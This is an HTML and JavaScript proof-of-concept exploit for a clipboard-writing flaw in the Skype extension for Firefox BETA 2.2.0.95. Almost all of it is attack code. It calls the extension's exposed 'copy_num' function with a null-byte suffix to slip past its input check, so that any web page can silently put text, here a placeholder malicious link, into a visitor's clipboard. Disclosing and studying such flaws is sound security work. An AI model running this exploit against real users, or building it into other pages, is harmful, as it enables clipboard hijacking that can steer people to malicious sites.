Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability

<!---------------------------------------------------------------------------
 Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC
 download: https://developer.skype.com/SkypeToolbars
 
 Author: irk4z[at]yahoo.pl
 homepage: http://irk4z.wordpress.com/
 
 greets: all friends 
---------------------------------------------------------------------------->
<a href="#" onclick="check_it();" >test it!</a>


<script type="text/javascript">

function copy_to_clipboard( text ){
if (skype_tool) {
var copy_it = text + '\0+'; //use null byte to copy value, because '+' char must be in string
skype_tool.copy_num( copy_it );
}
}

function check_it(){
//copy_to_clipboard('malicious text!!!!!!!!!!!\n\n\n!!');
//copy_to_clipboard('http://irk4z.wordpress.com/');
copy_to_clipboard('http://malicious.link.to.bad.page/');
alert('Done! Check your clipboard!');
}

</script>

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